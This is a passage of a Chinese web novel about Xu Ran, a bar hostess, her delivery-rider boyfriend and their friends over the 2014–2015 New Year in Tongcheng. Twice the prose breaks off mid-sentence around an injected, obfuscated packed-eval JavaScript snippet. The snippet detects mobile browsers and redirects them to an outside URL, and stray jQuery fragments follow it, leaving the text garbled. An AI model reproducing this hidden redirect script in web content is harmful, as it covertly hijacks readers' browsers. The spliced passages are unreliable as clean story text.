小苗瘪瘪嘴说,没劲。咱们去江边放烟花吧。我俩前两天去浏阳了。车后尾箱随便挑。 去浏阳做什么。唐小勇问。 “创业啊。批发了在这边卖,有赚头。”麻子说罢,又清了清嗓子,说:“对了,还有一件事儿,得宣布一下哈。” 他神秘地从怀里一阵掏,掏出一个红卡片,说:“我俩要办酒,下个月在她老家。” 许冉瞪大了眼睛。桌上的人都半天没作声。 唐小勇把请柬拿在手里正正反反看了半天,说,“真行。” 麻子今年才刚过二十,都不到法定结婚年龄。小苗老家在桐城附近的黄花县,那边的习俗办了酒就算结婚。 前段日子麻子嚷嚷着要结婚,大家都只当他说笑,没想到他是认真的。 “我爸给了我点钱,等过了年店里装修就弄完了...总之,和小勇哥一样,不混了。金盆洗手。” 麻子说着认真跟唐小勇碰了一下,又感慨:“这几年过得稀里糊涂,多亏小勇哥罩着咱们,才没做什么错事。” 谢存山也跟着点头。 唐小勇喝红了眼,说:“不提了不提了。以后咱们都各自好好过日子。” 2014年12月31日的深夜,桐城下了冬天的第一场雪。 许冉第一个发现下雪了。 静寂的江滩边天与地与水连成深浅不一的黑色,水声也是寂寂的,偶有涟漪,是鱼破开浅浅的浮冰。 那些从天而降的雪花是灰色的,在空中倏忽一闪,如同幽灵。 江对岸往南,很远很远的地方是莲花广场跨年的霓虹灯。像一簇火苗,一捧金子,那么小,那么亮,蜇眼睛。 他们把烟花全都放完了,又着迷地站了好久,看了好久,冻得毫无知觉,但都没说想走。好像站在这样的黑暗里,新的一年就不会到来。 谢存山紧紧握着许冉的手。很紧,像是怕她融化似的。 2015年了。万小琴喃喃。怎么跟做梦似的。 - 2014就这样结束了。这一年其实发生了挺多大事,新疆暴恐,北京雾霾,谢霆锋和王菲复合。 可是后来再谈起2014,许冉却只记得跨年那场雪。 元旦后唐小勇把游戏厅的钥匙交给了房屋中介,坐早班车默默离开了桐城。 他托麻子给了谢存山一个信封,里头是一千块钱,要他无论如何都收着。 他还留给许冉一个半人高的娃娃,是hellokitty,本来是店里的特等奖。他说许冉每次去玩娃娃机都要抓这只小鼻子豆豆眼的猫,应该是很喜欢。 他特意给她留的。 许冉的卧室放不下,就把娃娃放在客厅里。万小琴路过总要说,这么大一个,到时候你搬家都够呛。 搬家的事情已经敲定了。 一月底春节,等万小琴从泰国回来她们就要各自搬离。 元旦后许冉就开始找房子,只是一直找不到满意的。桐城这两年房地产业兴旺,到处都在动土,连带着租房也一天天地水涨船高。 把万小琴的钱还完她手头又紧张起来。奶奶吃药做手术的钱她七七八八攒了两万多了,也不能动。 谢存山说他那儿攒了两万多,要她拿去先给奶奶用。她拒绝了。 发愁了一段时间,小苗热心肠,要她干脆去家里住,她说家里有客房,空着也是空着,租金意思意思就行,到时候谢存山也来玩,倒是方便。 许冉想了想,是个权宜之计,也就答应下来。 万小琴不再去路西法了,向老板给了她一张卡,说是香港开的,信用卡副卡,随便刷。她现在就忙着在家打包行李,跟着视频做做有氧操,还研究起食补。 她说要是姓向的开口,她就嫁了。早点生孩子也不受罪。 她们的行李都已陆续打包了。收拾的时候许冉在衣柜的夹缝里翻出来了堂哥借给她的英语书。她们还发现厨房水槽柜子里的水阀底下有个蟑螂窝。 许冉问万小琴要不要喷点药。 万小琴说,都要搬走了。何况这玩意儿春风吹又生的。 许冉觉得她说的对。 她行李拢共六件,三个蛇皮袋,两个行李箱,加一只超大号hellokitty。她还记得从冰箱后头的夹缝里把装壁虎的透明盒子拿了出来。那里最暖和。 大年二十七的晚上许冉听到万小琴给家里打电话,说汇了五万块钱过去,给弟弟交大学学费,说了一会儿又不耐烦地挂断了,喃喃,张口闭口都是钱,我又不是印钞机。 许冉正出来接水,没敢接话茬儿,问,小琴姐,你这次不回去过年你爸妈惦记你不? 万小琴嗤笑,说,他们哪里是惦记我哦。她把红皮花生轻轻一撮,抛进嘴里,说,你呢,还回老家和你奶奶过年? 许冉点点头。 自从十月后,她再没回去看过王玉芬。王玉芬开始还给她打几回电话,后来也淡了。 前两天在福建的大姨忽然联系她,埋怨说你妈妈妊娠糖尿病。你也不关心下。 许冉还是给王玉芬打了个电话。王玉芬说她年纪大了,胎像不好,只能在床上躺着。又问她工作稳定不,年底了有没有提成。 背景音有些嘈杂,是蒋东杰在看球赛。 许冉一一应了,但没提去看她的事情,挂了电话给她转了两千块钱,嘱咐她自己收好,买点补品。 王玉芬回了一个可爱的婴儿的表情包。 万小琴哼着歌收尾行李,明早她就飞泰国了。 她指着房间说,“我那些包,要是你有喜欢的,挑一个拿走,我也没有别的朋友,我当你是我亲妹妹。” 她说着又往头发上抹精油,“对了,东西年后有搬家公司来弄。退租的事儿我回来再办,不差这一点半点。钥匙你先拿着,等我回来了找你来拿。” 许冉摆摆手说,“小琴姐,你去泰国注意安全,记得落地报个平安。” 万小琴把两管口红收进随身的包里,噙着笑,弯着眉,嘴上不耐烦地说,记得了,记得了。那边有人接我的。 许冉很少见她如此柔和的神情,多看两眼,这才回屋。 - 大年二十八晚上路西法终于关了门。马杰给她发了个六百的红包,她有些受宠若惊。 大年二十九她和莎莎一块儿去金满地逛街,她花了两百块钱给谢存山买了件皮夹克。又给奶奶挑了套棉衣棉裤,配一双棉鞋。桐城冬天难熬,很多老人过不了冬。 莎莎挑了件白色鸭绒服,在镜子里左转右转。 许冉前些日子也看中了一件类似的。她冬天就两件外套,一件黑色的,一件卡其色防水面料的。万小琴总说她穿得灰不溜秋。 只是白色不耐脏,她就一直没舍得买。 出了金满地她们先去买淀粉肠吃,莎莎又陪她去电器城买了个电暖器。她要一并提回乡下。 莎莎问她:“你咋不网购。” 许冉说,我们那边得去镇上取。我姑嫌麻烦。 她问莎莎,你过年就在桐城啊? 莎莎说,对。每年都是,挺无聊。 许冉问,就你和你爸妈过? 莎莎被淀粉肠烫的直哈气,说,是啊。诶,走走,去买点冰的。烫死我了。 第二天就要回老家了,晚上许冉和谢存山约好了一块儿吃饭。 快到时间了,谢存山给她打电话,说赶不上饭了。要她别等了。 又说,“你放心。明早我肯定送你去汽车站。” 许冉也不生气。 谢存山现在全职跑外卖,没日没夜。签的是劳务外包的合同,没有五险一金,也没有公共假期,多劳多得,跟她一样。 他经济上没有安全感,就拼了命地跑单子。越冷点外卖的越多,别人不愿意做的大夜单他也接,元旦至今他一天都没休过,打了鸡血似的,成了他们站点接单最多的。 许冉叫他休息。他不肯。他说牛大哥教过,系统也会给骑手分层级的。要想接好单,第一要少拒单,第二要多跑。*【*《无意的算法残酷》,澎湃推文】 许冉拗不过,给他买了个巨大的保温壶,让他好歹路上能喝上热水。 晚上许冉自己下楼觅食,发现街边的小饭馆都关门了,街上人也少了很多。吵吵闹闹的城市,忽然安静得让人不适应。她回家泡了碗面,加了两个蛋。 吃完饭她就看跳舞视频,跟着比划。 她最开始学跳舞是想像莎莎一样寻个新门路,现在却有点儿喜欢上了。跳舞的时候她可以什么也不想,热滚滚的汗流下来,心里的一些事儿都不记得了。 她试了几种不同的课,最喜欢的还是拉丁舞。老师夸她先天条件好,人也聪明,进步神速。其实小时候她跳过,有童子功,那时候许明宗的生意还没做大,周末的时候他就开着小电动送她去上课。下了课他就带她去吃牛肉饼。她那时候开始长身体了,胃口大,一个人可以吃两个。 许冉想着这些事儿趴着打盹,电视里家长里短的民生节目之后是地方天气预报,说今晚雨夹雪。她迷迷糊糊地睡着了。 再醒来是有人拍门,喊着,冉冉,冉冉。 许冉立马清醒了,这是谢存山的声音。她抬头一看,十一点多了。 谢存山一身寒气,全副武装,外套护膝和口罩都没脱,只龇着牙露出一双眼睛笑。兴冲冲地往里走,说,你看我给你带什么了。 他从背后掏出一个花花绿绿的塑料袋,里头鼓鼓囊囊的,许冉扒拉着一看,愣在原地半天没说话。 谢存山累得一屁股坐下来,就着她的被子喝了一大杯水,胡乱抓着她,抬头问,“高兴吧,惊喜吧,你都看了两三回了,我怎么着都得给你买回来。你不知道...本来我七点不到就往那儿去了,结果那狗屁系统,又给我派一单。还好那个小区保安我认识,没耽误。” 许冉吸了吸鼻子,推推他肩说,“四百多呢。” 其实她心里很高兴,只是她很少收到惊喜,不知道作何反应,反而显得木讷。 她低头给他取口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15227324|164641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罩,谢存山却忽然捂着她手说,我自己来。 他颧骨露出来的地方有一片紫红。 “你摔车了?” 许冉这才发觉,外头下着雨。 她犟着力气,硬是撇开他的手,把口罩取下来。谢存山嘶嘶地吸气。他的颧骨紫了一大块,嘴角也破了,眼皮也肿了。他还是嬉皮笑脸,说,“没摔车。我就走着走着,没看路,摔了一跤。” 许冉也不知哪来的委屈,眼睛突然就红了,“我是傻子吗谢存山。” “好好,我不骗你。其实是跟人打了一架。我站里的。我早看他不顺眼了。他老抢我单子。” 许冉还是不信。蹲下来扒拉他的外裤和护膝,又气得深呼吸,推他膝盖说,“你这个朋友真厉害,打架能把你棉护膝都打破了。棉花都飞了。” 谢存山浑身上下都疼。许冉又心疼又气,蹲在地上就是不起来,他瞒不过她,讷讷,“...不是我的责任。对方全责。我保证没有下次。” 许冉扭头去看他。两双眼睛一块儿红了。 她把眼泪憋了回去,站起来吸吸鼻子,冷冷地说,谢存山明年你别干这个了。真的。算我求你。 谢存山忍着肋骨的疼去拉她的手,说,我答应你。我当然答应你。不是说好了。攒三万块钱,我就不干了。快,你快试试合身不。 许冉半天没说话,由他拉着,过了一会儿忽然两只手握住他的,很大的力气,说,走,咱们去医院。 谢存山拖住她,“去过了,不然还能更早回。没伤筋没动骨。那人态度好,还额外赔我八百块钱。” 他还挺高兴。 又笑嘻嘻说,我饿了,要不你给我下碗面。我今晚就在你这儿将就一晚。我怕回去吓着外婆。 许冉去厨房下面,又翻箱倒柜找火腿肠。 排气扇最近不灵光,时好时坏。她还没关火,排气扇就突然断了。 噪音后突如其来的留白,门外传来一声低沉的啜泣。 许冉疑心是幻听,跑回客厅,看到谢存山低着头,正把眼泪都胡乱抹到皮夹克上。 她以为他疼哭了,急得要死,问,“是哪里疼?我现在叫救护车。” 许冉第一次见谢存山哭。 谢存山紧紧按着她的胳膊,半天没抬头,意思是‘我没事。’ 许冉意会,感受到他周身的肌肉都绷着。她没动。等他终于喘上来这口气,才慢慢抬起头。 他的眼睛布满血丝,红得吓人。 许冉永远永远都忘不了那双眼睛。 谢存山努力克制表情,但委屈还是从嘴角泄露,“棉衣给弄脏了。” ——到商场的时候正好八点,那家小店正好在拉铁闸门。 谢存山好话说了一箩筐,老板才重新把门又开开,打着手电,爬到阁楼顶给他找货。 谢存山一分钱都没还,说,老板新年快乐,恭喜发财。 出来的时候,外头开始雨夹雪。 外卖送单群里,好多人说不送了,今年就做到这儿了,大伙儿都平安,明年见。 上周临市刚出事,渣土车视线盲区,二十出头的小伙子就这么没了。这事儿还上了新闻。大家心里都不好受,今年都不想赚过年这点加班费了,只想早点回家过年。 谢存山把袋子护在小腿肚子里边,又用雨衣裹了一层就想往许冉家赶。牛大哥给他打电话,说有个急单,平台人工客服刚刚联系的,跑腿的活儿,小孩发烧急着用退烧药。离他不远。问他接不接,接了平台有奖励。 他送完药,雨更大了。小车闯了左转红灯。他反应快,把车一扔,人从座位上沿着地蹭了出去,正好躲过轮胎。 袋子的底是在那个时候蹭破的。他抱在怀里一路匆匆,路上又黑,没看见。 “这塑料袋质量不好。” 谢存山平静了一点。又觉得因为这点小事哭很丢脸。 “可不是嘛!” 许冉扯出一个比哭还难看的笑。 “怎么办。” 许冉把棉衣抖开,看了看,说“送干洗。” “那能行吗。” “怎么不行。辣椒油干洗都能洗干净的。” “口子在哪儿呢。” 谢存山翻出来给她看。 “哎呀,我都没看见。这么一小块儿,等我过两天回去,叫我妈补补。我妈年轻时候学裁缝的,手巧。” 谢存山抿着嘴巴,还是闷闷的,很沮丧,垂着眼睛不说话。 许冉问他,你还记不记得我那件蓝色毛衣,有个小熊的那件。 谢存山思索了一下,讷讷地点点头。 “毛衣被我烤火烧焦了,也是我妈给补的。怎么样,是不是看不出来。” 谢存山到底年轻,情绪消化得快。听了,抬头问她,真的? 骗你我是狗。我不骗人。许冉说。 “我们明早就去找干洗店。”许冉又补充承诺。 “不是都关门了。 “总有不回老家的。” 谢存山觉得她说得特别特别有道理。肉眼可见地高兴了起来,掏出手机立马开始搜索干洗店。 许冉重又回去煮面。 厨房温度最低。不过几分钟的时间,刚刚煮的面已经坨了,棉絮似的,漂浮在水里。汤头也冷了。 她重新开火,另起一灶,又滋滋地煎上两个鸡蛋。 排风扇死而复生,忽然又重新吭哧吭哧呼啦呼啦地开始运行。 水不一会儿开了。热滚滚源源不断的的水蒸气扑面而来。 许冉拨动面条,过了半分钟,忽然扔了筷子,双手捂住脸,流下比水蒸气还要滚烫的眼泪。 21. 2014 一夜之间雨夹雪变成了大雪。许冉不肯再让谢存山骑摩托车送她,汽车站的票又早就卖光了。 许冉打算和几个老乡拼车回家,三个半小时的车程,一人一百。 谢存山和她一起打出租车到南站,司机已经到了,带着牛皮帽,蹲在马路边拼命抽烟。约定的四个人来了三个,又等了十分钟,最后一个人还是没来。 大腹便便的女人说,“大哥,太冷了。先让我去车里避避。行不。我这怀着孕呢。” 司机摁着车门,说:“不等了,我这还等着回呢。但是现在只有三个人,这样,一人三百。走不走?” 天寒,到处缺票,他摆出一副坐地起价的架势。 许冉脑瓜仁都冻得疼,气得冒烟,说:“说好的一百。” “对啊。说好的一百。”背双肩包的年轻男人帮腔。他一只手拎方形簇新鸭绒被,一只手提了个桶,里面装着各式各样的新玩具。 “那没办法。你们人没来齐。”司机先一步钻进车里,发动了车,后备箱弹开。他转头说,走不走,一口价二百八。 女人最先妥协,坐进去,司机嬉皮笑脸,说:“你肚子里的免费。” 那男人重重地把桶往后备箱一砸。也缩着头坐了进去。 许冉平生最恨这种不守信的无赖,拖着谢存山就气冲冲往回走。 谢存山按着她手,说:“两百八就两百八,我给你出。” 许冉啐了一口,说:“呸,一个子儿也不给他。扔了也不给他。” 那个司机又探出头,冲他们喊,“你去哪里问都是这个价格。” 说完扬长而去,柴油尾气熏了他俩一头一脸。 谢存山问她,“要不再去站里问问黄牛。” 许冉的手钻进他口袋里,有点不好意思,试探问,去你家过年,行不? - 当然行。 谢存山恋爱没有瞒着外婆。黄艾玲不反对也不支持。谢存山前些年离经叛道的事儿干太多,恋爱倒显得无关紧要。 许冉喜欢喝甜酒,谢存山就把家里酿的甜酒偷偷挖一勺灌在矿泉水瓶子里带给她。 外婆睁一只眼闭一只眼,有天在冰箱旁边逮住他,说把人带回来我看看。 谢存山没说好,没说不好,他怕许冉不乐意。他对这段感情很认真,但是他还什么都没有呢,一份稳定的工作都没有,他没脸开口让许冉跟他回家。 桐城的冬天不常下雪,今年大雪已经下了两三场了,很罕见,唐小勇早年跟着部队东奔西跑,有经验,早早提醒谢存山要给摩托车装防滑链。 两人全副武装,谢存山开得很慢,沿途出了好几起交通事故。 中途他们还下车帮了把手——有车停在路边,防滑链脱落了,卡在轮胎挡板里头。司机是个中年女人,连连道谢,把后座的果篮拆了塞了几个网球大小的进口橙子给他们。 开到登高巷子门口锁了车,许冉硬要去巷口那家烟酒茶专卖店给外婆买礼物。谢存山要她别乱花钱,何况这家人他不喜欢,为人厉害得很。 许冉不乐意,说手上空着不像话。 谢存山拗不过她,说,那你买点花茶就行,太浓的喝了睡不着。 许冉买了两斤茉莉花茶,又花了十块钱买了个礼品罐子,提在手里,像模像样。 她沮丧了一早上,忽然就高兴了一些,硬要和谢存山在巷子里并排挤着走,两人挤来挤去,傻乐。 各人各户都敞着门,回家的儿女和他们一样,大包小包的,后面还跟着裹得粽子似的小孩。 有调皮的孩子从二楼往巷子里扔碎鞭炮,被谢存山一脚踩灭了,又点燃给扔回去。孩子边哭,大人边骂。 许冉挽着谢存山说,我喜欢这里,这里热闹。 外婆的腿脚好得差不多了。她一辈子都是闲不住的人,早就下了床,跛着腿脚去麻将馆,跛着腿脚张罗年夜饭。 见谢存山把许冉带回来,她也没说什么,只交代谢存山去巷尾的陈老头家里再买两斤卤牛腱子肉。 谢存山怕许冉尴尬,磨磨唧唧不肯走。外婆用鸡毛掸子轰他,说,我不吃人。 许冉一点都不觉得尴尬。外婆让她想起自己的奶奶。奶奶生病前也像谢外婆一样,能干,精明,嘴硬心软。 外婆切菜炒菜,许冉就坐在板凳上剥蒜,洗菜。她话少,动作很麻利,一看就是会干活的。 谢存山说她父亲早逝,母亲再嫁,没人管。也是个可怜人。 黄艾玲叹口气,问她,小姑娘你喜欢吃糖醋排骨还是红烧排骨。 春晚无聊,老人歇得早,他们也早早上楼,同歇在谢存山的房间里。 黄艾玲给谢存山开了张略矮些的行军床,加了被褥。行军床睡着自然不舒服,翻个身咔咔响。 许冉不好意思,说,要不我俩换一下,我轻。 谢存山说,我不挑,哪儿都睡得着。 许冉说好,又把脸埋进被子里。谢存山伸了手来摸索着给她把电热毯打开,又把她的手拖住。 他们听到外头烟花炸裂的声音,愈来愈密,许冉在黑暗里睁着眼,看窗帘缝外变幻的天,烟花凋落后,天空由红变橙,变紫继而变为一种趋近于黑色的静谧的蓝。 谢存山说,许冉,明年我们租个房子。就在这附近找。你说得对,送外卖不是个办法。我得学门手艺。 许冉说好。 谢存山又说,“等十一的时候,我们去北京。去天安门看升旗。” “好。我还想去吃羊蝎子。” “好。” “等暖和一点,我要带我奶奶来桐城,把手术做了。” “好。等做完了手术,咱们推她去烈士公园逛逛。” 许冉把脸捂在暖烘烘的被子里。只露出一双眼睛。眼睛里湿湿的,痒痒的。 “谢存山。” “嗯?” “没什么。” “许冉。你信不信我。咱们以后会好的。等有了钱,我买辆车,你换个舒服的工作,每天我都开车来接你上下班。” 未来。许冉从来不敢想未来。静了一会儿,她说,“我当然信你。” - 过了春节,桐城的春天就到了。 桐城的气候就是这样,一周前还在下雪,一周后忽然就艳阳高照,穿毛衣都热,出汗,刺挠得很。 许冉年初一就赶回了乡下。 姑姑抱怨她乱花钱,说,马上就开春了,还买什么暖风器。 许冉没做声。她给姑姑也带了份礼物,红毛衣开衫,水晶纽扣。姑姑第二天就换上了,带着许冉和堂哥去走亲戚。 奶奶的病还算稳定,好歹熬过了冬天,间或有忽然神智清醒的时候,叫得出每个来拜年的亲戚的名字。 奶奶的房间没有电视,许冉就穿着棉鞋跳拉丁舞给她看。奶奶说,你太瘦了,在学校要多吃肉。 初四桐城商铺饭馆就开始营业,谢存山一天也没耽搁,继续送外卖。外卖站的大部分人都已经回来工作了,牛大哥也回来了,还带回来一筐红鸡蛋。 他老婆生了二胎,是个女儿。鼻子像他,老婆说忒丑,他说哪里丑了,鼻子大好啊,鼻子大有福气。 自从那天晚上和许冉说好了要搬出来,他现在更有奔头了。 至于未来应该做什么,他还没想好。送外卖不是长久之计,门槛太低,他觉得他得会门手艺。至于具体是什么,他暂时又想不出来。 他只会在送外卖的间隙偶尔想这些事情。 大多数时候他忙着骑电动车穿过这座城市,累了在便利店眯一会儿喝一罐雀巢咖啡吃个包子,一天也就差不多结束了。 初一的时候他给唐小勇打电话拜年。 唐小勇说好消息是唐小玉特别会读书,期末又是全年级第一。学校的老师说了,说不定以后能考去市里重点初中。坏消息是他母亲彻底聋了,县里的医生说可能是脑神经问题,要他带着人去市里看病。 谢存山说,你哪天来,麻子的店开了,我领你去看看。 一个年转眼就这样过完了。 路西法初六开始营业,开门那天还请了几个小有名气的明星来站台捧场。店门口台阶铺了条红地毯,像模像样的。 这事儿作为谈资在化妆间里也被议论了三五日。除此之外,路西法还是老样子,只是马杰年后似乎一直心情不好,收起了那张笑面虎似的脸,隔三差五训人打人,阴恻恻的。 万小琴离开众人皆知,偶尔有人来向许冉打听,大家都议论说她去香港过好日子了。 许冉攥着手机坐在化妆台前出神。 刚开始几天万小琴还给她发些照片和视频,有她在佛寺前双手合十的,也有她穿着比基尼带着宽檐帽在海滩边的。很乐不思蜀的样子。 但往后消息越来越少。 前两天许冉问她节后什么时候回,搬家具体哪天。她到了凌晨才回信,说要先去一趟香港,搬家得推迟一点。后面就再无回音。 许冉隐隐觉得不对,但又不知道找谁商量。 年后又来了许多新面孔,但都待不长久。马杰很发愁,逮着人就发脾气。 这两年网络直播兴起,万小琴之前就说过,在网上扭扭屁股撒撒娇,比这儿还赚得多,又不用喝酒又不用给摸给抱,现在年轻点的女孩儿都愿意去干那个。 许冉也有点心动,但一听说做直播容易被家里人知道,就断了这个念头。 晶晶还在,她还给许冉带了一捆家里熏的腊肠。许冉帮过她,她心里一直都记得。 晶晶她爸是个小包工头,去年一直生病,没法儿赚钱,现在爸爸身体也好了,拖欠了两年的工款结上了,家里一下就周转开了,父母商量着让她继续去读书,不说大专,读个卫校也不错。 许冉问她,你想读吗。 晶晶点头说,想的。 小橙在旁边描眉,也说,还是读书好。 节后小橙气色变好了些。她说她家过节人少,乡下清净,光吃零食看电视了。小橙很少提家人,许冉也从来都不问。 身体好,精气神也跟着变好,她告诉许冉过一阵她打算去苏杭玩一圈。她大学最好的朋友在那儿定居,年前刚生了个女儿,她得去贺喜。 以前读书的时候,最向往的就是苏杭。她说。 要是真的特别喜欢,说不定我就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15227325|164641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留下来了。她又说。 令许冉没想到的是小娟离开了路西法。晚上开会的时候马杰提了一嘴,除了几个旧识,谁也没挂在心上。毕竟这儿来来去去才是常态。 一直到正月十五结束,万小琴都没有回来。她的电话一直打不通,但微信会回复。又过了五六天,许冉才接到一条语音,说她要办些事情,晚点才回。 许冉犹豫再三,还是去了一回警察局。警察说人还在回复语音,也没有求救,没办法立案。 正月十五之后,许冉搬离了出租屋。 万小琴的东西还没打包,许冉替她把那几个奢侈品皮包收进了柜子里,以免落灰。 * 后来许冉回想,2015年的前半年,日子好像忽然按下了快进键,细细碎碎的人和事,来来往往,就那么发生了。 像睡前朦胧地听故事,听完了就不记得了。 一眨眼一月过完了。 白棉衣洗好后许冉只穿过一次。她没去找王玉芬,那道口子她用摊子上买的小熊魔术贴补好了。收进衣柜之前,她还把衣服仔仔细细擦了一遍,再用吹风机吹干。 麻子的房子条件比她之前住的出租屋好多了。 她住在次卧,有窗户,下午有阳光,还有个像模像样的木衣柜。她在防盗窗外面种了两盆花,卖家说是非洲雏菊,很好活。后来她又自作聪明地撒了一把小米招小鸟,结果招来一群麻雀把她漂亮的菊花全给叨了。 但她还是很高兴。 麻子开了个电子产品配件店,他和小苗每半个月都要去华强北进货,日子过得有奔头极了。 过完年她也和谢存山一样开始认真思考她还能做什么。 她没有学历,要付房租,奶奶的手术钱还有缺口。她以前站过柜台,在超市干过酸奶促销,但那些收入不足以支撑她现在的需求。 她有时候会觉得苦恼,但大部分时候还是得过且过地熬日子。 酒吧里的每一个夜晚都是灯红酒绿,酒吧外的生活又似乎静水无波。 二月中旬的周六,许冉踏出路西法,初春的夜还有些凉,她一激灵,酒也就彻底醒了。 莲花西路仍是灯火通明。凌晨三点,深夜的更深处,路边游走着鬼魂似的半醉的男女。 保安客客气气问,莉莉姐,要不要帮你拦个车。 许冉摆了摆手。她想走一走,散散酒气。 今晚她出门上班,照例先在对街吃粉,忽然听见有人叫她的名字。抬头一看,没认出来。对方笑着说,‘是我啊,赵欣然啊。” 赵欣然是她初中时候的同桌。她那时候长得壮,班里男生给她起外号,叫她赵猩猩。现在她瘦了,很高挑,穿衣服有款有形的,特别洋气。 ——赵欣然不但变得好看,还变得更外向健谈了。 俩人拼了桌,赵欣然告诉她,她大学考去了武汉理工,但高中谈的男朋友在桐大,所以她就三天两头往回跑。 许冉问她,你学什么。 赵欣然说,应用数学。 许冉低头,把酸豆角在碗里拨来拨去,笑笑,“你好厉害。” 赵欣然耸耸肩,“你知道的,我一直偏科,初中就背不进那些古诗词。” 见许冉没主动提自己的事情,为免冷场,她又说,诶,你知不知道,咱们班以前那个姓闻的女生,不爱和人说话那个。她后来可牛了,搞奥数,全奖去了美国。 许冉歪着头,想了半天,勉强有些印象。 赵欣然问,这几年初中聚会你怎么都不来。她翻了翻手机,诶,你不在群里,难怪,快,你加我微信,我把你拉进去。 加完微信,再勉强吃了两三口,许冉就起身告别。 赵欣然好奇问她,你住这附近呀? 许冉笑笑说,我来找朋友玩呢。 ——许冉没有接受加入初中同学群的微信邀请。 收回遥远的思绪,许冉发觉自己已走过了莲花西路最繁华的地段。此处是较静的一条街,只有街角的全家的灯还亮着。对街有个流浪汉,敞着衣服坐在商铺门口打瞌睡。 许冉抬头想拦车,一辆黑色的轿车却沿辅道滑行,在她旁边停下。她下意识后退两步。 轿车后座的车窗降下来。许冉呼吸慢半拍,头皮发麻。是徐炀。 “不记得我?”徐炀也是薄醉,轻佻地看她。 许冉垂下眼,恭敬地叫了他一声。 “住哪里?送你?”他懒懒问。 许冉摇摇头:“住得远。不麻烦您。” 徐炀一笑。他自然看得出,许冉全身都是拒绝的姿态。 他从不屑跟女人多纠缠,缓缓关上车窗,漫不经心:“那行。下次一起玩。”转头吩咐司机驶离。 前后不过三分钟的对话,却让许冉在原地愣了好一阵。她不知道自己怎么了,路西法比徐炀难缠下流的客人她见过好些,但徐炀总让她不舒服。 好像夏天暴晒后忽然猛吹凉气,全身上下都堵得慌。 虽说烦心,但许冉自愈能力强大。且她还年轻,有种鲁莽的乐观,只过了两天,许冉便将这件事彻底抛诸脑后。 她有了别的事情要忙活。 22. 2014 前因后果还得从年前说起。 麻子的父亲长期在日本经商,中式火锅和麻辣烫店开了好几家,算是小有所成。 听说他谈了个女朋友。他父亲过年回来一做主,两人定下了婚事,也定下了一间铺面。 他父亲老江湖,眼光好,铺面所在的地下商场连通一家新开的商场。小苗脑子活络,还注册了淘宝店。 他们走量,价格压的低,生意一直很好。 每天晚上他们都在家里的茶几上数钱,对账,也不避着许冉,要是生意好,麻子就会从附近的老菜场带半只烧鸭回来加菜。 但两人都不精于数字,焦头烂额。刚好许冉在中专学的是电子商务,认真修过几门会计课,帮过他们几回。 后来麻子认真问她,愿不愿意当个兼职做做。给她减房租不说,每个月还给她发一些工资。一千多,刚好够她吃饭。 许冉当然愿意。 自这之后越发忙碌。 她甚至专门回了一趟王玉芬那里,把上学时候的会计课本都取走了。 除了算账,她还帮着小苗打理网店,小苗手把手教她怎么上新,批量发件,处理差评,怎么跟上游的供应商联系。 其实麻子这儿给她发的工资远比不上路西法的。但她却莫名觉得有干劲,连在化妆间等着开门的时候她也在回复客户消息。 - 她就这么瞎忙了一阵。 等桐城连着下了两周的毛毛雨,许冉才意识到,三月都快要过完了。春意正浓,梨花谢了海棠花又开。哪里都是热热闹闹的。 三月末的那周,晶晶在马杰那儿挨了好几顿骂。起因是她给客户开错了酒,客户不依不饶,差点把桌子都给掀了。马杰骂她蠢得无可救药,吓得傻站在那里,几个男人都哄不好。 大家都聚在一块儿安慰晶晶。 莎莎说,你们猜老马头怎么脾气那么坏?他想跟着琳达姐去北京,邵骏辉不让。还让他在这儿待着。 严格说起来,琳达是马杰带出来的。 另一个姑娘说,真羡慕琳达姐,都当明星了。 ——年前邵骏辉就带琳达去了北京,邵家想往文娱方面发展,设立了mcn公司,陆续签了人,其中自然是力捧琳达。 邵骏辉动用了人脉将她介绍给了几个导演,小半年不到已经拍了两支广告了。 其中一支已经播出,是一个女性内服保健品的广告,万小琴每每见了都羡慕道,她可真上镜。 有人在门口清嗓子,众人一听都噤声——说曹操曹操到。马杰还是黑着那张脸,站在门口也不进来,对许冉说,你跟我来一趟。 马杰找她几次了,许冉一直回避。要么说在陪客人,要么说病了要早走。业务部现在青黄不接的,马杰还得仰仗她们几个老资格的照顾新来的,没发作。 三楼包房没人,马杰请她坐,许冉有点紧张。 不一会儿李迈克进来给她倒了杯水。许冉一看到李迈克就不害怕了。 李迈克朝她挤挤眼,意思是别怕。 李迈克现在不做酒保了,在vip楼层做酒侍。 楼下舞池热闹起来,她站在这儿听不到音乐,只见人们无规律地扭动四肢。方才化妆室里的女孩子们已经汇入人群,像一朵朵白色的涟漪汇入黑色的海里。 马杰说,我就开门见山了。你在这儿也这么久了,你小琴姐走了,你什么想法,来股东部试试? 许冉装傻充愣,“马经理,我也不认识什么人物,拉不来台子。” 马杰知道她在装傻,也不拆穿,说,徐炀,徐总,提过你几回。 他又凑近许冉,许冉闻到他身上浓烈的古龙水和阴干的衣物的潮味,“咱们这儿有几个能被他瞧上的,你自己心里要有数。除了koko,你是第二个。懂吗?” 许冉不表态,低着头唯唯诺诺。说,我没那个本事的。肯定是搞错了。 马杰冷笑,说,你还记得你之前丢过钱包的事儿不?我交给你的。 许冉抬起头,她都快把这件事忘了。 “徐总捡到的。就那一回,他就记得你了。” 